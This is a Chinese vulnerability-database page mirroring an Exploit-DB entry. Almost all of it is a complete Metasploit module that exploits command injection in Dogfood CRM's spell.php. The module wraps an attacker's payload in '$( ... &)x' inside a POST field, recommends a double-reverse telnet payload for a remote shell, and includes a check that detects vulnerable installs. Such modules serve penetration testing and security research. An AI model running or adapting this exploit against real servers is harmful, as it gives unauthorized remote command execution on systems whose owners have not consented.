Dogfood CRM - 'spell.php' Remote Command Execution (Metasploit)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1060639 漏洞类型
发布时间 2010-07-03 更新时间 2010-07-03
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/16917
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##
# $Id: dogfood_spell_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Dogfood CRM spell.php Remote Command Execution',
			'Description'    => %q{
					This module exploits a previously unpublished vulnerability in the
				Dogfood CRM mail function which is vulnerable to command injection
				in the spell check feature.  Because of character restrictions, this
				exploit works best with the double-reverse telnet payload. This
				vulnerability was discovered by LSO and affects v2.0.10.
			},
			'Author'         =>
				[
					'LSO <lso@hushmail.com>', # Exploit module
					'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).
				],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'OSVDB', '54707' ],
					[ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
				],
			'Privileged'     => false,
			'Platform'       => ['unix'], # patrickw - removed win, linux -> untested
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 03 2009'
			))

		register_options(
			[
				OptString.new('URIPATH',   [ true,  "The URI of the spell checker", '/dogfood/mail/spell.php']),
			], self.class)

	end

	def check
		res = send_request_raw(
			{
				'uri' => datastore['URIPATH'],
			}, 1)

		if (res.body =~ /Spell Check complete/)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		timeout = 1

		cmd = payload.encoded
		data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"
		uri = datastore['URIPATH']

		response = send_request_cgi(
			{
			'uri' => uri,
			'method' => "POST",
			'data' => data
			},
		timeout)

		handler
	end
end